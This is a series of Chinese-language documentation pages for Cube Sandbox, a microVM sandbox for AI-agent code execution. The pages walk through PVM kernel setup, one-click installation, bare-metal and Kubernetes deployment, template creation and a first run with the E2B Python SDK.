**内存开销** | 低（共享内核） | 高（完整 OS） | **超低（< 5MB）** | | **部署密度** | 高 | 低 | **极致（单节点数千实例）** | | **Agent 托管** | 需自行搭建 | 需自行搭建 | **✅ 原生支持（AgentHub）** | | **自动暂停 / 恢复** | / | / | **✅ 平台托管（百毫秒级恢复）** | | **跨机暂停 / 恢复** | / | / | **✅ S3 后端（preview）** | | **快照 / 克隆 / 回滚** | / | / | **✅ 亚秒级** | | **E2B SDK 兼容** | / | / | **✅ 即插即用** | ## 下一步 * [快速开始](./quickstart.md) — 用最短路径从零到运行沙箱。 * [沙箱生命周期](./lifecycle.md) — 状态模型、自动暂停、自动恢复。 * [跨机快照](./cross-node-snapshot.md) — S3 后端下在集群内任意节点恢复暂停沙箱或从快照创建沙箱。 * [数字助手（AgentHub）](./digital-assistant.md) — 托管和管理 AI Agent 实例。 * [本地构建部署](./self-build-deploy.md) — 单机部署参考。 * [多机集群部署](./multi-node-deploy.md) — 扩展到多机集群。 * [Kubernetes 部署](./kubernetes/) — 在已有 K8s 集群上用 Helm 安装。 * [从 OCI 镜像制作模板](./tutorials/template-from-image.md) — 模板制作分步指南。 * [WebUI 管理控制台](./webui.md) — 安装完成即可可视化管理。 * [安全代理与凭据保险箱](./security-proxy.md) — CubeEgress 域名过滤与审计。 --- --- url: https://cubesandbox.com/zh/guide/quickstart.md --- # 快速开始 四步完成 Cube Sandbox 的完整部署，无需本地构建。 下面的流程会引导你在腾讯云购买一台普通云服务器，通过 PVM 启用 KVM，然后在这台服务器上安装并体验 Cube Sandbox。 ⚠️请严格按照文档操作，这样能让你在几分钟内快速体验到CubeSandbox！ ::: warning 生产环境注意 如果您计划在生产环境中使用 Cube Sandbox，请参阅[网络加固](./network-hardening.md)指南，在将服务暴露到不可信网络之前完成安全加固。 ::: ::: tip 已经有支持 KVM 的服务器？ 如果你已经有一台开启了 KVM 的 x86\_64 或 aarch64（ARM64）Linux 服务器（物理机或裸金属服务器），可以直接参阅[裸金属 / 物理机部署](./bare-metal-deploy.md)，跳过 PVM 安装步骤。 ::: ## 前置条件 * **x86\_64** 架构的云服务器（普通云服务器即可，无需 `/dev/kvm`） * 有 **root 权限** * 可访问互联网（用于下载发布包、拉取 Docker 镜像） ::: warning ARM64（aarch64）主机 本快速开始通过 **PVM** 在普通云服务器上启用 KVM，而 PVM 宿主机内核**仅支持 x86\_64**（发布附件为 `*.x86_64.rpm` / `*_amd64.deb`）。PVM **不支持** ARM64。 在 **aarch64（ARM64）** 上，请使用本身已提供原生 KVM 的机器（物理机 / 裸金属 ARM64 服务器），改为参阅[裸金属 / 物理机部署](./bare-metal-deploy.md)或[本地构建部署](./self-build-deploy.md) —— 两者均支持 aarch64。 ::: ### 🖥 受支持的系统 CubeSandbox 二进制文件基于 **Ubuntu 20.04（glibc 2.31）** 构建，**系统 glibc 必须 ≥ 2.31**，否则二进制无法运行。 | 系统 | 状态 | 说明 | |---|---|---| | 🏆 **OpenCloudOS 9** | ✅ 推荐 | 最佳兼容性，默认 XFS 文件系统，生产就绪 | | 🏆 **TencentOS 4** | ✅ 推荐 | 最佳兼容性，默认 XFS 文件系统，生产就绪 | | Ubuntu（20.04 / 22.04 / 24.04） | ✅ 已测试 | glibc 2.31+ — 可用。需手动[配置 XFS →](https://github.com/TencentCloud/CubeSandbox/issues/311) | | 其他 RPM 系（CentOS、RHEL 等） | ⚠️ 检查 glibc | glibc 必须 ≥ 2.31，且 `/data/cubelet` 需为 XFS | | Debian / WSL | ⚠️ 检查 glibc | 同上要求；详见 [XFS FAQ →](https://github.com/TencentCloud/CubeSandbox/issues/311) | > ℹ️ **为什么需要 XFS？** CubeSandbox 依赖 XFS reflink 实现 Copy-on-Write 快照。Ubuntu / Debian / WSL 默认使用 ext4，你需要将 XFS 文件系统挂载到 `/data/cubelet`。逐步操作指南见 [FAQ #311](https://github.com/TencentCloud/CubeSandbox/issues/311)。 ::: warning 💾 磁盘空间 **`/data/cubelet` 至少需要 50 GB** 可用磁盘空间，用于存放沙箱镜像和可写层。如需制作多个模板或自定义镜像，**建议 200 GB 及以上**。 ::: ## 第一步：购买云服务器并安装 PVM 内核 ### 购买云服务器 在腾讯云购买一台 **x86\_64** 架构的云服务器，无特殊要求。 **操作系统推荐选择 OpenCloudOS 9**（RPM 系）。Cube Sandbox 的 PVM 宿主机内核基于 OpenCloudOS 内核构建，选用 OpenCloudOS 9 可获得最佳兼容性，且无需处理发行版差异。Ubuntu / Debian / CentOS 等其他主流发行版同样支持。 | 配置 | CPU | 内存 | 磁盘 | | --- | --- | --- | --- | | 功能体验 | ≥ 4 核 | ≥ 8 GB | ≥ 50 GB | | 推荐 | 32 核 | 64 GB | ≥ 200 GB | ::: warning 以 root 身份执行所有操作 本文档中的所有命令均需在 **root** 用户下执行。请先切换到 root： ```bash sudo su root ``` ::: ### 安装 PVM 宿主机内核 #### 下载内核包 PVM 宿主机内核包发布在专属的 `kernel-release-*` Release 上，请到发布页下载最新的内核主包： 1. 打开 [CubeSandbox Releases 页面](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases)，在过滤框输入 `kernel-release`，打开最新的一个 2. 按你的 Linux 发行版下载**内核主包**： * RPM 系：`kernel-*opencloudos9.cubesandbox.pvm.host*.x86_64.rpm` * DEB 系：`linux-image-*opencloudos9.cubesandbox.pvm.host*_amd64.deb` `kernel-headers-*`、`-dbg` 等为可选包，无需下载。 #### RPM 系（OpenCloudOS、RHEL、CentOS、TencentOS、Fedora） 安装下载好的内核包： ```bash # 若宿主机已有更高版本内核，--oldpackage 跳过版本号比较 rpm -ivh --oldpackage kernel-*.rpm ``` 设置 PVM 内核为默认启动项： ```bash # 查看已安装内核列表，找到 PVM 内核对应的序号 grubby --info=ALL | grep -E "^kernel|^index" # 将 <index> 替换为上面输出中 PVM 内核对应的数字 grubby --set-default-index=<index> # 确认设置生效 grubby --default-kernel ``` 配置内核启动参数： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/pvm/grub/host_grub_config.sh | bash ``` #### DEB 系（Ubuntu、Debian） 安装下载好的内核包： ```bash dpkg -i linux-image-*opencloudos9.cubesandbox.pvm.host*.deb ``` 设置 PVM 内核为默认启动项： ```bash # 查看已安装的内核列表，确认 PVM 内核版本字符串 ls /boot/vmlinuz-* # 将 GRUB 默认启动项指向 PVM 内核（将下面的内核版本替换为上一步看到的实际版本字符串） KVER="$(ls /boot/vmlinuz-*opencloudos9.cubesandbox.pvm.host* | sed 's|/boot/vmlinuz-||' | tail -1)" sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\"Advanced options for Ubuntu>Ubuntu, with Linux ${KVER}\"|" \ /etc/default/grub ``` 配置内核启动参数（脚本内部会调用 `update-grub` 使上述设置生效）： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/pvm/grub/host_grub_config.sh | bash ``` ### 重启并验证 ```bash reboot ``` 重启后，确认已进入 PVM 内核并加载 KVM 模块： ```bash # 确认内核版本 uname -r # 期望输出包含：opencloudos9.cubesandbox.pvm.host # 加载 PVM KVM 模块 modprobe kvm_pvm # 确认模块已加载 lsmod | grep kvm # 期望输出中包含 kvm_pvm ``` 设置开机自动加载 `kvm_pvm` 模块： ```bash echo 'kvm_pvm' > /etc/modules-load.d/kvm-pvm.conf ``` ::: details 什么是 PVM？（技术原理） PVM（Pagetable-based Virtual Machine）是一种**基于页表的嵌套虚拟化框架**，构建于 KVM 之上。与传统嵌套虚拟化不同，PVM 不依赖宿主 hypervisor 向 guest 暴露 Intel VT-x / AMD-V 等硬件虚拟化扩展，而是在 guest 内核层通过共享内存区域和影子页表（shadow page table）来完成特权级切换与内存虚拟化，对宿主 hypervisor 完全透明。 腾讯云已在生产环境大规模部署 PVM 实例，可靠性经过充分验证，并将改进成果开源至 [OpenCloudOS 内核](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git)。 完整的 PVM 部署说明请参阅 [PVM 部署](./pvm-deploy.md)。 ::: ## 第二步：安装 以 root 身份执行： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | CUBE_PVM_ENABLE=1 MIRROR=cn bash ``` ::: tip 跳过下载前环境检测（Precheck） 在线安装脚本默认会在下载庞大的发布包前对系统环境（操作系统、内存、KVM 支持、`/data/cubelet` 文件系统为 XFS 等）进行轻量前置检测，以防下载大包后因环境不满足而安装失败。 如需在特定测试环境跳过该下载前检测，可通过设置环境变量 `ONE_CLICK_SKIP_PRECHECK=1` 或传递参数 `--skip-precheck` 绕过： ```bash # 方式 A：通过环境变量绕过 curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | ONE_CLICK_SKIP_PRECHECK=1 CUBE_PVM_ENABLE=1 MIRROR=cn bash # 方式 B：通过脚本传参绕过 curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | CUBE_PVM_ENABLE=1 MIRROR=cn bash -s -- --skip-precheck ``` ⚠️ 注意：跳过前置检测仅影响 `online-install.sh` 的包下载拦截。解压后实际执行部署的 `install.sh` 仍会强制执行最权威的系统条件检测，以确保系统稳定运行。 ::: ::: details 安装了哪些组件 * E2B 兼容 REST API 监听在 `3000` 端口 * CubeMaster、内置 network runtime 的 Cubelet、CubeShim 作为宿主机进程运行 * MySQL 和 Redis 通过 Docker Compose 管理 * CubeProxy 提供 TLS（mkcert）和 CoreDNS 域名路由（`cube.app`） ::: ## 第三步：制作模板 安装完成后，使用预构建镜像创建代码解释器模板： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` > **镜像仓库说明：** 国内优先使用 `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest`；境外访问推荐使用 `cube-sandbox-int.tencentcloudcr.com/cube-sandbox/sandbox-code:latest`。 ::: warning Multi-Arch 镜像支持情况 目前仅 `sandbox-code:latest` 已发布为 **Multi-Arch** 镜像（同时支持 x86\_64 与 aarch64/ARM64）。其他托管在 `tencentcloudcr.com` 的 cube 官方镜像仍在陆续更新 Multi-Arch 支持中，可能暂时无法在你的架构上运行。如果需要尚未覆盖架构的镜像，可参阅[从 OCI 镜像制作模板](./tutorials/template-from-image.md)并结合 Docker 的 [Multi-platform builds](https://docs.docker.com/build/building/multi-platform/) 自行构建自定义 Multi-Arch 镜像。 ::: 然后，执行下面的这行命令，监控构建进度： ```bash cubemastercli tpl watch --job-id <job_id> ``` ⚠️ 注意：由于镜像比较大，下载、解压、模板制作过程可能比较久，请耐心等待。 等待上述命令结束，模板状态变为 `READY`。 记录输出中的**模板 ID** (`template_id`)，下一步会用到。 完整的模板创建流程和更多参数说明，请参阅[从 OCI 镜像制作模板](./tutorials/template-from-image.md)。 ## 第四步：运行第一段 Agent 代码 安装 Python SDK： ::: code-group ```bash [yum (RPM)] yum install -y python3 python3-pip ``` ```bash [apt (DEB)] apt update && apt install -y python3 python3-pip ``` ::: ```bash pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple pip install e2b-code-interpreter ``` 设置环境变量： ```bash export E2B_API_URL="http://127.0.0.1:3000" export E2B_API_KEY="e2b_000000" export CUBE_TEMPLATE_ID="<你的模板ID>" export SSL_CERT_FILE="/root/.local/share/mkcert/rootCA.pem" ``` | 变量 | 说明 | |------|------| | `E2B_API_URL` | 将 E2B SDK 请求指向本地 Cube Sandbox，而非 E2B 官方云服务 | | `E2B_API_KEY` | SDK 强制非空校验，本地部署填任意字符串即可 | | `CUBE_TEMPLATE_ID` | 第三步获取的模板 ID | | `SSL_CERT_FILE` | mkcert 签发的 CA 根证书路径，沙箱 HTTPS 连接需要 | 在隔离沙箱中运行代码： ```python import os from e2b_code_interpreter import Sandbox # 直接使用 E2B SDK！ # CubeSandbox 在底层无缝接管了所有的请求 with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) ``` 更多端到端示例，请参阅[示例项目](./tutorials/examples.md)。 ## 下一步 * [从 OCI 镜像制作模板](./tutorials/template-from-image.md) — 自定义沙箱运行环境 * [裸金属 / 物理机部署](./bare-metal-deploy.md) — 已有支持 KVM 的机器直接部署 * [多机集群部署](./multi-node-deploy.md) — 扩展到多台机器 * [HTTPS 证书与域名解析](./https-and-domain.md) — TLS 配置选项 * [鉴权](./authentication.md) — 启用 API 鉴权 ## 附录：从源码构建 以上步骤使用的是预构建发布包。如果需要自定义组件、使用特定 commit 或参与开发贡献，可以自行构建发布包。完整说明请参阅[本地构建部署](./self-build-deploy.md)。 --- --- url: https://cubesandbox.com/zh/guide/pvm-deploy.md --- # PVM 部署 > **适用场景：** 云服务器上 `/dev/kvm` 不可用（云服务商屏蔽了嵌套虚拟化）。如果你的机器已经支持 KVM，直接参阅[快速开始](./quickstart.md)或[本地构建部署](./self-build-deploy.md)即可。 ::: warning 生产环境注意 如果您计划在生产环境中使用 Cube Sandbox，请参阅[网络加固](./network-hardening.md)指南，在将服务暴露到不可信网络之前完成安全加固。 ::: 得益于 PVM，您可以在**普通的云服务器**上部署 Cube Sandbox，所有沙箱实例均运行在 PVM 支持的 Micro-VM 中。 与标准部署相比，PVM 部署只额外增加两个步骤： 1. 安装 PVM 宿主机内核并重启 2. 安装 Cube Sandbox 时传入 `CUBE_PVM_ENABLE=1` ::: tip 生产就绪 腾讯云已在生产环境大规模部署 PVM 实例，可靠性经过充分验证，并将改进成果开源至 [OpenCloudOS 内核](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git)。 ::: ::: details 什么是 PVM？（技术原理） PVM（Pagetable-based Virtual Machine）是一种**基于页表的嵌套虚拟化框架**，构建于 KVM 之上。与传统嵌套虚拟化不同，PVM 不依赖宿主 hypervisor 向 guest 暴露 Intel VT-x / AMD-V 等硬件虚拟化扩展，而是在 guest 内核层通过共享内存区域和影子页表（shadow page table）来完成特权级切换与内存虚拟化，对宿主 hypervisor 完全透明。 PVM 最初由论文 [《PVM: Efficient Shadow Paging for Deploying Secure Containers in Cloud-native Environment》](https://dl.acm.org/doi/10.1145/3600006.3613158) 提出。腾讯云在此基础上进行了大量功能与性能改进、bugfix，并将相关工作开源至 [OpenCloudOS 内核](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git)，供社区使用。数年来，我们已在腾讯云生产环境部署了大量 PVM 实例，其可靠性已经过生产验证。 ::: ## 前置条件 * **x86\_64** 架构的 Linux 服务器（云服务器或物理机均可） * 有 **root 权限** * **无需 `/dev/kvm`**（安装 PVM 内核后由 PVM 提供 KVM 能力） * 其余要求与[快速开始](./quickstart.md#前置条件)相同（内存 ≥ 8 GB、XFS 或可用于 `/data/cubelet` 的分区等） ::: warning 以 root 身份执行所有操作 本文档中的所有命令均需在 **root** 用户下执行。请先切换到 root： ```bash sudo su root ``` 之后的所有命令直接在 root shell 中运行。 ::: ## 第零步：购买云服务器 在任意云服务商购买一台 **x86\_64** 架构的云服务器即可，无特殊要求。 **操作系统推荐选择 OpenCloudOS 9**（RPM 系）。Cube Sandbox 的 PVM 宿主机内核基于 OpenCloudOS 内核构建，选用 OpenCloudOS 9 可获得最佳兼容性，且无需处理发行版差异。 > 📌 **OpenCloudOS 9 用户专属快捷路径** > Cube PVM 宿主机内核包已上架 OpenCloudOS 官方 yum 仓库，无需手动下载 rpm， dnf install 一行命令可实现直装，整体部署只需 5 条命令。 > 👉 [在 OpenCloudOS 9 上一键部署 CubeSandbox 实测](https://mp.weixin.qq.com/s/oGAaUpze_uB_uzyvuYJSIg) Ubuntu / Debian / CentOS 等其他主流发行版同样支持，按对应章节操作即可。 ::: tip 规格建议 * CPU：≥ 4 核 * 内存：≥ 8 GB * 系统盘：≥ 50 GB（推荐挂载额外数据盘用于 `/data/cubelet`） ::: ## 第一步：安装 PVM 宿主机内核 ### 下载内核包 PVM 宿主机内核包发布在专属的 `kernel-release-*` Release 上，请到发布页下载最新的内核主包： 1. 打开 [CubeSandbox Releases 页面](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases)，在过滤框输入 `kernel-release`，打开最新的一个 2. 按你的 Linux 发行版下载**内核主包**： * RPM 系（OpenCloudOS、RHEL、CentOS、TencentOS、Fedora）：`kernel-*opencloudos9.cubesandbox.pvm.host*.x86_64.rpm` * DEB 系（Ubuntu、Debian）：`linux-image-*opencloudos9.cubesandbox.pvm.host*_amd64.deb` 资产列表中的 `kernel-headers-*`、`-dbg` 等为可选包，无需下载。 ### RPM 系（OpenCloudOS、RHEL、CentOS、TencentOS、Fedora） 安装下载好的内核包： ```bash # 若宿主机已有更高版本内核，--oldpackage 跳过版本号比较 rpm -ivh --oldpackage kernel-*.rpm ``` 设置 PVM 内核为默认启动项： ```bash # 查看已安装内核列表，找到 PVM 内核对应的序号 grubby --info=ALL | grep -E "^kernel|^index" # 将 <index> 替换为上面输出中 PVM 内核对应的数字 grubby --set-default-index=<index> # 确认设置生效 grubby --default-kernel ``` 配置内核启动参数： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/pvm/grub/host_grub_config.sh | bash ``` ### DEB 系（Ubuntu、Debian） 安装下载好的内核包： ```bash dpkg -i linux-image-*opencloudos9.cubesandbox.pvm.host*.deb ``` 设置 PVM 内核为默认启动项： ```bash # 查看已安装的内核列表，确认 PVM 内核版本字符串 ls /boot/vmlinuz-* # 将 GRUB 默认启动项指向 PVM 内核（将下面的内核版本替换为上一步看到的实际版本字符串） KVER="$(ls /boot/vmlinuz-*opencloudos9.cubesandbox.pvm.host* | sed 's|/boot/vmlinuz-||' | tail -1)" sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\"Advanced options for Ubuntu>Ubuntu, with Linux ${KVER}\"|" \ /etc/default/grub ``` 配置内核启动参数（脚本内部会调用 `update-grub` 使上述设置生效）： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/pvm/grub/host_grub_config.sh | bash ``` ### 重启并验证 ```bash reboot ``` 重启后，确认已进入 PVM 内核并加载 KVM 模块： ```bash # 确认内核版本 uname -r # 期望输出包含：opencloudos9.cubesandbox.pvm.host # 加载 PVM KVM 模块 modprobe kvm_pvm # 确认模块已加载 lsmod | grep kvm # 期望输出中包含 kvm_pvm ``` 设置开机自动加载 `kvm_pvm` 模块： ```bash echo 'kvm_pvm' > /etc/modules-load.d/kvm-pvm.conf ``` ::: tip 已经安装过 Cube Sandbox？ 如果你已通过一键部署安装了 Cube Sandbox 普通版，**无需重新安装全套服务**。重启进入 PVM 内核后直接跳到[第二步](#第二步-安装-cube-sandbox-启用-pvm)即可。 ::: ## 第二步：安装 Cube Sandbox（启用 PVM） ::: tip 为什么需要 `CUBE_PVM_ENABLE=1`？ 发布包中包含两份 guest 内核：普通版（`vmlinux`）和 PVM 版（`vmlinux-pvm`）。`CUBE_PVM_ENABLE=1` 告知安装脚本将 PVM guest 内核覆盖安装为运行时使用的 `vmlinux`。不设置此变量则默认使用普通 guest 内核，PVM 不会生效。 ::: ### 方式一：在线安装（推荐） 在线安装脚本将发布包下载到临时目录再执行，安装目录中无 `.env` 文件，因此直接在命令前加 `CUBE_PVM_ENABLE=1` 即可生效： ```bash # 国内访问（推荐，从 CNB 拉取脚本） curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh \ | CUBE_PVM_ENABLE=1 MIRROR=cn bash ``` ```bash # 境外访问（从 GitHub 拉取脚本） curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh \ | CUBE_PVM_ENABLE=1 bash ``` 如需手动指定节点 IP（多网卡机器建议显式指定）： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh \ | CUBE_PVM_ENABLE=1 MIRROR=cn bash -s -- --node-ip=<你的服务器 IP> ``` ### 方式二：手动下载发布包 从 [CubeSandbox Releases](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases) 下载 `cube-sandbox-one-click-<sha>.tar.gz`，解压后直接传入环境变量安装： ```bash tar -xzf cube-sandbox-one-click-<sha>.tar.gz cd cube-sandbox-one-click-<sha> # 解压目录中不含 .env，环境变量可直接生效 CUBE_PVM_ENABLE=1 ./install.sh ``` ::: warning env 文件覆盖陷阱 若你按照开发文档执行了 `cp env.example .env`，目录中会存在 `.env` 文件（其中默认 `CUBE_PVM_ENABLE=0`）。安装脚本会 `source` 该文件，**覆盖**父 shell 传入的同名变量，导致 PVM 未被启用。 此时需要在运行安装脚本前修改 `.env`： ```bash sed -i 's/^CUBE_PVM_ENABLE=0/CUBE_PVM_ENABLE=1/' .env # 验证 grep CUBE_PVM_ENABLE .env # 期望：CUBE_PVM_ENABLE=1 ./install.sh ``` ::: ### 确认安装成功 安装日志中应出现以下行： ``` [one-click] CUBE_PVM_ENABLE=1, installed PVM guest kernel as .../cube-kernel-scf/vmlinux ``` ## 第三步：验证 PVM 环境 ```bash # 确认运行时配置中 PVM 已启用 grep CUBE_PVM_ENABLE /usr/local/services/cubetoolbox/.one-click.env # 期望：CUBE_PVM_ENABLE=1 # 确认 KVM 设备可用 ls -la /dev/kvm # 确认 PVM KVM 模块已加载 lsmod | grep kvm_pvm ``` ## 第四步：制作模板并开始使用 PVM 环境就绪后，后续流程与标准部署完全一致。请参阅快速开始中的[第三步：制作模板](./quickstart.md#第三步制作模板)，完成模板创建并运行你的第一个沙箱。 ## 常见问题 **Q1：安装日志显示 `using ordinary guest kernel`，而非 PVM guest kernel** **A：** 大概率是 `.env` 文件中的 `CUBE_PVM_ENABLE=0` 覆盖了环境变量，参见上方[方式二的注意事项](#方式二-手动下载发布包)。 *** **Q2：`lsmod | grep kvm_pvm` 无输出，或 `/dev/kvm` 不存在** **A：** 执行 `uname -r` 确认已重启进入 PVM 内核，内核版本应包含 `opencloudos9.cubesandbox.pvm.host`。确认后手动执行 `modprobe kvm_pvm`。若仍失败，检查内核包是否正确安装： ```bash # RPM 系 rpm -qa | grep cube.pvm # DEB 系 dpkg -l | grep cube.pvm ``` --- --- url: https://cubesandbox.com/zh/guide/bare-metal-deploy.md --- # 裸金属 / 物理机部署 > **适用场景：** 已有支持 KVM 的 x86\_64 或 aarch64（ARM64）Linux 机器（`/dev/kvm` 可用），例如物理机、裸金属服务器、或已开启嵌套虚拟化的云服务器。 > > 如果你用的是**普通云服务器**（`/dev/kvm` 不可用），无需裸金属 —— 通过 PVM 即可在普通云服务器上启用 KVM，请参阅[快速开始](./quickstart.md)。 ::: warning 生产环境注意 如果您计划在生产环境中使用 Cube Sandbox，请参阅[网络加固](./network-hardening.md)指南，在将服务暴露到不可信网络之前完成安全加固。 ::: ## 前置条件 * **x86\_64** 或 **aarch64**（ARM64）架构的 Linux 机器 * `/dev/kvm` 存在且可读写（`ls -la /dev/kvm`） * 有 **root 权限** * **Docker** 已安装并正常运行 * 可访问互联网（用于下载发布包、拉取 Docker 镜像） * 内存 ≥ 8 GB，磁盘空余 ≥ 50 GB ::: warning 以 root 身份执行所有操作 本文档中的所有命令均需在 **root** 用户下执行。请先切换到 root： ```bash sudo su root ``` ::: ## 第一步：安装 ### x86\_64（AMD64） 以 root 身份执行： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | MIRROR=cn bash ``` ### ARM64（aarch64）主机 ::: warning online-install.sh 即将支持 ARM64 `online-install.sh` 一键安装脚本当前仅自动发现 **x86\_64** 包。ARM64 的自动检测与一键安装支持将于近期版本补齐。目前 ARM64 用户请按照以下手动步骤操作。 ::: **第一步：** 前往对应平台的发布页面，找到包含 ARM64 资产的最新 Release，下载 `cube-sandbox-one-click-*-arm64.tar.gz` 包： | 平台 | 发布页面 | |---|---| | GitHub | [TencentCloud/CubeSandbox/releases](https://github.com/TencentCloud/CubeSandbox/releases) | | CNB（国内） | [CubeSandbox/CubeSandbox/-/releases](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases) | **第二步：** 解压并运行安装脚本： ```bash # 将 <version> 替换为你实际下载的版本（如 v0.5.0-rc3） tar -xzf cube-sandbox-one-click-<version>-arm64.tar.gz cd cube-sandbox-one-click-<version>-arm64 ./install.sh ``` ::: details 安装了哪些组件 * E2B 兼容 REST API 监听在 `3000` 端口 * CubeMaster、内置 network runtime 的 Cubelet、CubeShim 作为宿主机进程运行 * MySQL 和 Redis 通过 Docker Compose 管理 * CubeProxy 提供 TLS（mkcert）和 CoreDNS 域名路由（`cube.app`） ::: ::: tip 无 guest PMU 的 ARM64 主机 在部分 aarch64 主机上——较旧的内核、嵌套虚拟化环境、或某些 ARM 核心——KVM 不会向 guest 暴露 PMUv3。这些主机上 MicroVM 仍可正常启动：hypervisor 会在不启用 PMU 的情况下初始化 vCPU，guest 只是看不到硬件性能计数器，无需任何额外操作。 ::: ## 第二步：制作模板 安装完成后，使用预构建镜像创建代码解释器模板： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` > **镜像仓库说明：** 国内优先使用 `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest`；境外访问推荐使用 `cube-sandbox-int.tencentcloudcr.com/cube-sandbox/sandbox-code:latest`。 然后监控构建进度： ```bash cubemastercli tpl watch --job-id <job_id> ``` ⚠️ 注意：由于镜像比较大，下载、解压、模板制作过程可能比较久，请耐心等待。 等待上述命令结束，模板状态变为 `READY`。 记录输出中的**模板 ID** (`template_id`)，下一步会用到。 完整的模板创建流程和更多参数说明，请参阅[从 OCI 镜像制作模板](./tutorials/template-from-image.md)。 ## 第三步：运行第一段 Agent 代码 安装 Python SDK： ```bash yum install -y python3 python3-pip pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple pip install e2b-code-interpreter ``` 设置环境变量： ```bash export E2B_API_URL="http://127.0.0.1:3000" export E2B_API_KEY="e2b_000000" export CUBE_TEMPLATE_ID="<你的模板ID>" export SSL_CERT_FILE="/root/.local/share/mkcert/rootCA.pem" ``` | 变量 | 说明 | |------|------| | `E2B_API_URL` | 将 E2B SDK 请求指向本地 Cube Sandbox，而非 E2B 官方云服务 | | `E2B_API_KEY` | SDK 强制非空校验，本地部署填任意字符串即可 | | `CUBE_TEMPLATE_ID` | 第二步获取的模板 ID | | `SSL_CERT_FILE` | mkcert 签发的 CA 根证书路径，沙箱 HTTPS 连接需要 | 在隔离沙箱中运行代码： ```python import os from e2b_code_interpreter import Sandbox # 直接使用 E2B SDK！ # CubeSandbox 在底层无缝接管了所有的请求 with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) ``` 更多端到端示例，请参阅[示例项目](./tutorials/examples.md)。 ## 下一步 * [从 OCI 镜像制作模板](./tutorials/template-from-image.md) — 自定义沙箱运行环境 * [多机集群部署](./multi-node-deploy.md) — 扩展到多台机器 * [HTTPS 证书与域名解析](./https-and-domain.md) — TLS 配置选项 * [鉴权](./authentication.md) — 启用 API 鉴权 --- --- url: https://cubesandbox.com/zh/guide/kubernetes.md --- # Kubernetes 部署 在已有 Kubernetes 集群上，用 Helm Chart 安装 CubeSandbox（控制面 + 计算面）。 ::: tip 和「一键脚本」部署的区别 这是 **K8s 原生路径**：组件跑在集群里，由 Helm 管理。若只有单台物理机、不打算用 K8s，请改看[裸金属 / 物理机部署](../bare-metal-deploy.md)或[快速开始](../quickstart.md)。 ::: ::: warning Preview 版本警告 当前版本的 K8s 部署是**预览版本**，已知问题： 1. 计算节点资源紧张时，Pod 可能被 K8s 控制面错误驱逐，导致沙箱中断。该问题正在解决中。 2. 计算节点升级目前存在一些已知问题（升级会重建 `cube-node`；Pod 网络下会中断该节点上的存量沙箱网络，默认宿主机网络下 netns 不随重建销毁）。请在部署之前先阅读[升级文档](./upgrade.md)。 3. 默认hostNetwork可能与您的 CNI / Pod Security Admission（如 Cilium eBPF、`restricted` PSA）冲突。请先在非生产集群测试，详见[安装 · cube-node 网络与 Pod 重建](./install.md#_8-3-cube-node-网络与-pod-重建)。 **上述问题将在后续版本逐步得到解决。欢迎试用 K8s 部署方式，通过 Issue 反馈问题与建议。** ::: ## 文档导航 | 文档 | 内容 | | --- | --- | | [Helm 安装](./install.md) | 从集群就绪到验证的完整步骤（推荐主路径） | | [架构说明](./architecture.md) | Chart 组件分层、四个 DaemonSet、启动顺序与数据流 | | [升级](./upgrade.md) | 控制面可滚动；计算面升级会 recreate Big Pod（默认宿主机网络下 netns 保留） | | [常见问题](./faq.md) | 安装、调度、PVM、Proxy、Egress、升级排障 | ## 安装顺序（必读） ```text ① 集群就绪 ↓ ② 给节点打标签（以及角色污点） ↓ ③ 准备 values 配置 ↓ ④ helm upgrade --install ↓ ⑤ 验证 ``` 控制面为原生 Deployment，计算面为原生 `apps/v1` DaemonSet；安装只需标准 Kubernetes / Helm。 ## 已测试环境 当前已在腾讯云 TKE、Kubernetes 与 K3s 上完成验证。其中腾讯云 TKE 使用 VPC-CNI 作为网络插件，另外两个环境使用 Flannel。 | 环境 | 网络插件 | | --- | --- | | 腾讯云 TKE | VPC-CNI | | Kubernetes | Flannel | | K3s | Flannel | 下一步 → [Helm 安装](./install.md) --- --- url: https://cubesandbox.com/zh.md --- ## 开始使用 * [快速开始](./guide/quickstart.md) — 